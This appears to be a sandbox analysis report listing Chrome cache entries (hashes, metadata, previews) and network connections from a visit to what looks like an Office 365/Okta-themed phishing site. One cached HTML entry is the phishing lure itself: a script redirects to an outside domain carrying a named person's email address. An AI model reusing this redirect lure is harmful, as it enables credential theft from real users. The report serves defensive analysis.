SHA-512:	0DD5FF6301797B8D4E93E008F351C8F1FE7FE54B28C42553F46298651233A4BC5BF13C33E19C0F3D7FA340CC0C84D43D6F9FB30C479F73E75CBD0A0F586359DE
Malicious:	false
Reputation:	low
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).axios=t()}(this,(function(){"use strict";function e(e){var r,n;function o(r,n){try{var a=e[r](n),u=a.value,s=u instanceof t;Promise.resolve(s?u.v:u).then((function(t){if(s){var n="return"===r?"return":"next";if(!u.k\|\|t.done)return o(n,t);t=e[n](t).value}i(a.done?"return":"normal",t)}),(function(e){o("throw",e)}))}catch(e){i("throw",e)}}function i(e,t){switch(e){case"return":r.resolve({value:t,done:!0});break;case"throw":r.reject(t);break;default:r.resolve({value:t,done:!1})}(r=r.next)?o(r.key,r.arg):n=null}this._invoke=function(e,t){return new Promise((function(i,a){var u={key:e,arg:t,resolve:i,reject:a,next:null};n?n=n.next=u:(r=n=u,o(e,t))}))},"function"!=typeof e.return&&(this.return=void 0)}function t(e,t){this.v=e,this.k=t}function r(e){var r={},n=!1;function o(r,o){return n=!0,o=new Promise((fu

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8102), with no line terminators
Category:	downloaded
Size (bytes):	8102
Entropy (8bit):	5.762324147049188
Encrypted:	false
SSDEEP:	192:9F5MLxcJr77FY1O0IFCGu8zsQc8oF7P2QBh:9Fq6Jr77FY1O0IYT4OTj
MD5:	CAACE582B2E1E82B3088F5D0623E0927
SHA1:	A6E76A8BEF9F3082E6847E4CE1B3246CD7466498
SHA-256:	15054E3369A58BB289DDCC30EB16EA6466D6853ABB3C11B145B36F80C46EA3F9
SHA-512:	1CD55B02F158ECD1ED5A07D33EC2F5ACA6096391E3495E63A0C1280635CA8D0798BDFD67741DE648D19B74D1D2A803B3E523B1CC6037055FAB34B65BBE030C84
Malicious:	false
Reputation:	low
URL:	https://gtekuvvait.com/cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js?
Preview:	window._cf_chl_opt={cFPWv:'g'};~function(V,g,h,i,j,n,o,v){V=b,function(d,e,U,f,C){for(U=b,f=d();!![];)try{if(C=parseInt(U(362))/1(parseInt(U(340))/2)+parseInt(U(325))/3(-parseInt(U(326))/4)+-parseInt(U(391))/5+-parseInt(U(353))/6(parseInt(U(343))/7)+parseInt(U(324))/8(-parseInt(U(339))/9)+-parseInt(U(335))/10+parseInt(U(422))/11*(parseInt(U(399))/12),C===e)break;else f.push(f.shift())}catch(D){f.push(f.shift())}}(a,964463),g=this\|\|self,h=g[V(424)],i={},i[V(385)]='o',i[V(413)]='s',i[V(354)]='u',i[V(344)]='z',i[V(428)]='n',i[V(347)]='I',j=i,g[V(364)]=function(C,D,E,F,a0,H,I,J,K,L,M){if(a0=V,D===null\|\|void 0===D)return F;for(H=m(D),C[a0(429)][a0(427)]&&(H=H[a0(426)](C[a0(429)][a0(427)](D))),H=C[a0(414)][a0(392)]&&C[a0(396)]?C[a0(414)][a0(392)](new C[(a0(396))](H)):function(N,a1,O){for(a1=a0,N[a1(376)](),O=0;O<N[a1(361)];N[O]===N[O+1]?N[a1(390)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(341)][a0(352)](I),J=0;J<H[a0(361)];K=H[J],L=l(C,D,K),I(L)?(M='s'===L&&!C[a0(365)](D[K]

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8037), with no line terminators
Category:	dropped
Size (bytes):	8037
Entropy (8bit):	5.751902894699018
Encrypted:	false
SSDEEP:	192:D4MuCeaKV625ijdYW5AsHS59txRBvjtht70QAQjQAdAgPqU:D4MB7K825ijdYW5AsHS59txRBvjzd0e1
MD5:	3584608DE6145D162A5E796700D74171
SHA1:	4AE9C89C287075928BF0E9A1F7350CE4A99BBBFC
SHA-256:	047A69FE27A3F96A1DC25F0AAEE4557D1A9EF0D8EFC624D15F786D332A0F9E72
SHA-512:	109BFE675FE7C6CD28520E621CFC2F554969E1DED15EEA0D84B8C57C71EAC6EE1ED1716E0BA4C1D31548FFB3612C60838FEDE254A6BB03D36FBCC79FE30D129B
Malicious:	false
Reputation:	low
Preview:	window._cf_chl_opt={cFPWv:'g'};~function(V,g,h,i,j,n,o,A){V=b,function(d,e,U,f,C){for(U=b,f=d();!![];)try{if(C=parseInt(U(567))/1+parseInt(U(510))/2+parseInt(U(511))/3+parseInt(U(493))/4+-parseInt(U(573))/5(parseInt(U(552))/6)+-parseInt(U(529))/7(parseInt(U(495))/8)+-parseInt(U(543))/9*(-parseInt(U(562))/10),C===e)break;else f.push(f.shift())}catch(D){f.push(f.shift())}}(a,733055),g=this\|\|self,h=g[V(545)],i={},i[V(584)]='o',i[V(533)]='s',i[V(563)]='u',i[V(516)]='z',i[V(539)]='n',i[V(574)]='I',j=i,g[V(569)]=function(C,D,E,F,a0,H,I,J,K,L,M){if(a0=V,D===null\|\|void 0===D)return F;for(H=m(D),C[a0(500)][a0(526)]&&(H=H[a0(598)](C[a0(500)][a0(526)](D))),H=C[a0(571)][a0(593)]&&C[a0(586)]?C[a0(571)][a0(593)](new C[(a0(586))](H)):function(N,a1,O){for(a1=a0,N[a1(576)](),O=0;O<N[a1(494)];N[O]===N[O+1]?N[a1(595)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(506)][a0(513)](I),J=0;J<H[a0(494)];K=H[J],L=l(C,D,K),I(L)?(M='s'===L&&!C[a0(532)](D[K]),a0(560)===E+K?G(E+K,L):M\|\|G(E+K,D[K])):G(E+

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10450)
Category:	downloaded
Size (bytes):	10498
Entropy (8bit):	5.327380141461276
Encrypted:	false
SSDEEP:	192:x9iW+rIadfLTcaTO5BrwjnwSrQ1kPmqQmMjmtmumobU8:x9KVLbw6jqON
MD5:	E0D37A504604EF874BAD26435D62011F
SHA1:	4301F0D2B729AE22ADECE657D79ECCAA25F429B1
SHA-256:	C39FF65E2A102E644EB0BF2E31D2BAD3D18F7AFB25B3B9BA7A4D46263A711179
SHA-512:	EF838FD58E0D12596726894AB9418C1FBE31833C187C3323EBFD432970EB1593363513F12114E78E008012CDEF15B504D603AFE4BB10AE5C47674045ACC5221E
Malicious:	false
Reputation:	low
URL:	https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css
Preview:	a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,tt,u,ul,var{background:transparent;border:0;font-size:100%;font:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}:focus{outline:0}ins{text-decoration:none}del{text-decoration:line-through}table{border-collapse:collapse;border-spacing:0}input[type=hidden]{display:none!important}input[type=checkbox],input[type=radio]{border:0!important;margin:0;padding:0}@font-face{font-family:Proxima Nova;font-style:normal;font-weight:400;src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot);src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot?#iefix) fo

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (794)
Category:	downloaded
Size (bytes):	3514
Entropy (8bit):	5.742938585578925
Encrypted:	false
SSDEEP:	96:suAQ/V0Dv7D+KpOfoCMKIFVf0HRGBYibuTZQRGiZ8:jT/V0DX+KwfO3L0/SK
MD5:	6608EB83233EF6F74720E47178A7EEFB
SHA1:	7104236241788812F3E1BDDB7515DB16E1777597
SHA-256:	0ACDFE2B7C8DA1B6207F2EBD989C040D027821566BC9AB023378B554D59588E3
SHA-512:	FD7C59AFB04FC4AE1B2465BB456A1B80345AB12F044F7D311B65080CEE87F4625C44528CD14B7C6DB3398DBCFB596FB8AB136338FFBA3E194FD731CB18F38FB7
Malicious:	false
Reputation:	low
URL:	https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=
Preview:	<!DOCTYPE html>.<html>. <head>. <title>Review: 6dJ8LW1OM7 0ffice365joy7rHsFGm</title>.<script>window.location.replace("https://gtekuvvait.com/zuprivater/Xdrrwwipj/#jsalas@hollandco.com");</script> </head>. . <body class="QYHU7eo82C" display="none">. <a style="display: none;" title="Review: dSbpoVYUtk 0ffice365tgCNUjHiw9" href="radiant.php">Review: SGP8ZW6z3t 0ffice365r4OIfEBAUk.</a>. <noscript>...<a href="gGczyWdjYPR0hpT.php">gGczyWdjYPR0hpT.<a href="aJFubN48M2DnO5s.php">aJFubN48M2DnO5s.<a href="ob2DeBto95FIlEL.php">ob2DeBto95FIlEL.<a href="cgMDl7horQN0Xzu.php">cgMDl7horQN0Xzu.<a href="4cE38LD9Va2Zo7y.php">4cE38LD9Va2Zo7y.<a href="YDa1i0FL4ndN8rA.php">YDa1i0FL4ndN8rA.<a href="wAe6tfjYx05Z2Hs.php">wAe6tfjYx05Z2Hs.<a href="MADT6o3vieKUxGn.php">MADT6o3vieKUxGn.<a href="KoxIhFmu6fH02Us.php">KoxIhFmu6fH02Us.<a href="cB1xCIfh5emA2iS.php">cB1xCIfh5emA2iS.<a href="ZYshBbKj6JvQ0eU.php">ZYshBbKj6JvQ0eU.<a href="oG9gtqOb0PmdF1C.php">oG9gtqOb0PmdF1C.<a href="I08pR6vKFzbjJy4.php">I08pR6vKF

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89664
Entropy (8bit):	5.290543045467053
Encrypted:	false
SSDEEP:	1536:SjjxXUHJnxDjoXEZxkMV4PYDt0zxxf6gP3f8cApoEGOzZTBvUsuy8WnKdXwhLQvg:SdeIygP3fulzcsz8jlvaDioQ47GKH
MD5:	00727D1D5D9C90F7DE826F1A4A9CC632
SHA1:	EA61688671D0C3044F2C5B2F2C4AF0A6620AC6C2
SHA-256:	A3CF00C109D907E543BC4F6DBC85EB31068F94515251347E9E57509B52EE3D74
SHA-512:	69528A4518BF43F615FB89A3A0A06C138C771FE0647A0A0CFDE9B8E8D3650AA3539946000E305B78D79F371615EE0894A74571202B6A76B6EA53B89569E64D5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js
Preview:	/! jQuery v3.6.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (51734)
Category:	downloaded
Size (bytes):	222931
Entropy (8bit):	5.0213311632628725
Encrypted:	false
SSDEEP:	3072:Z4blthK0D4NIbkhhMW0AphsQyXV3oUHDDlxh/LoFdW:Z4vhK0D4NQlxh/LoFdW
MD5:	0329C939FCA7C78756B94FBCD95E322B
SHA1:	7B5499B46660A0348CC2B22CAE927DCC3FDA8B20
SHA-256:	0E47F4D2AF98BFE77921113C8AAF0C53614F88FF14FF819BE6612538611ED3D1
SHA-512:	1E819E0F9674321EEE28B3E73954168DD5AEF2965D50EE56CAD21A83348894AB57870C1C398684D9F8EAB4BBBEF5239F4AEA1DCAB522C61F91BD81CF358DA396
Malicious:	false
Reputation:	low
URL:	https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
Preview:	@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 15:07:57.232152939 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 1, 2024 15:07:57.535917997 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 1, 2024 15:07:58.141937971 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 1, 2024 15:07:59.352890968 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 1, 2024 15:08:01.761938095 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 1, 2024 15:08:02.001205921 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.001221895 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.001286030 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.001499891 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.001511097 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.001902103 CEST	49705	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.001926899 CEST	443	49705	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.001977921 CEST	49705	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.002285004 CEST	49705	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.002300024 CEST	443	49705	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.669440031 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.669593096 CEST	443	49705	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.670695066 CEST	49705	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.670716047 CEST	443	49705	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.670870066 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.670885086 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.671807051 CEST	443	49705	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.671871901 CEST	49705	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.671958923 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.672019005 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.678284883 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.678353071 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.680154085 CEST	49705	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.680248022 CEST	443	49705	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.680280924 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.680289030 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.719971895 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.719974041 CEST	49705	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:02.719984055 CEST	443	49705	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:02.767999887 CEST	49705	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:03.313597918 CEST	49690	80	192.168.2.16	192.229.211.108
Oct 1, 2024 15:08:03.327259064 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:03.327297926 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:03.327377081 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:03.328200102 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:03.328212976 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:03.975192070 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:03.975296021 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:03.979202032 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:03.979209900 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:03.979476929 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.001492023 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:04.047394991 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.187902927 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:04.187935114 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:04.187989950 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:04.188003063 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:04.188050985 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:04.188091993 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:04.188138962 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:04.189120054 CEST	49704	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:04.189133883 CEST	443	49704	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:04.236674070 CEST	49710	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.236712933 CEST	443	49710	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.236782074 CEST	49710	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.237765074 CEST	49710	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.237780094 CEST	443	49710	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.238218069 CEST	49711	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.238255978 CEST	443	49711	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.238310099 CEST	49711	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.238624096 CEST	49711	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.238641024 CEST	443	49711	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.247104883 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.247175932 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.247229099 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:04.247303963 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:04.247327089 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.247342110 CEST	49708	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:04.247349024 CEST	443	49708	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.273252010 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:04.273283958 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.273365974 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:04.273669004 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:04.273683071 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.741997957 CEST	443	49710	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.742265940 CEST	49710	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.742290020 CEST	443	49710	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.743268013 CEST	443	49710	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.743401051 CEST	49710	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.748996973 CEST	49710	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.748996973 CEST	49710	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.749092102 CEST	443	49710	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.749130964 CEST	49710	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.749286890 CEST	443	49710	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.749386072 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.749387026 CEST	49710	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.749423027 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.749427080 CEST	49710	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.749516964 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.749705076 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.749716043 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.759085894 CEST	443	49711	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.759437084 CEST	49711	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.759459019 CEST	443	49711	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.760469913 CEST	443	49711	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.760572910 CEST	49711	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.760855913 CEST	49711	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.760900974 CEST	49711	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.760900974 CEST	49711	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.760915995 CEST	443	49711	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.761066914 CEST	443	49711	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.761146069 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.761147022 CEST	49711	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.761163950 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.761163950 CEST	49711	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.761235952 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.761456013 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:04.761471033 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:04.948039055 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.948250055 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:04.949424982 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:04.949436903 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.949690104 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:04.957861900 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:05.003400087 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:05.211796045 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.212162971 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.212174892 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.213253021 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.213411093 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.214375973 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.214427948 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.214703083 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.223361969 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:05.223442078 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:05.223670006 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:05.223942041 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 1, 2024 15:08:05.223958969 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 1, 2024 15:08:05.228542089 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.229193926 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.229203939 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.230226994 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.230413914 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.230674982 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.230737925 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.256288052 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.256298065 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.271959066 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.271970987 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.303946018 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.318969965 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.399596930 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 1, 2024 15:08:05.645642996 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.645770073 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.645798922 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.645826101 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.645842075 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.645855904 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.645953894 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.646054029 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.646085978 CEST	443	49713	104.21.11.126	192.168.2.16
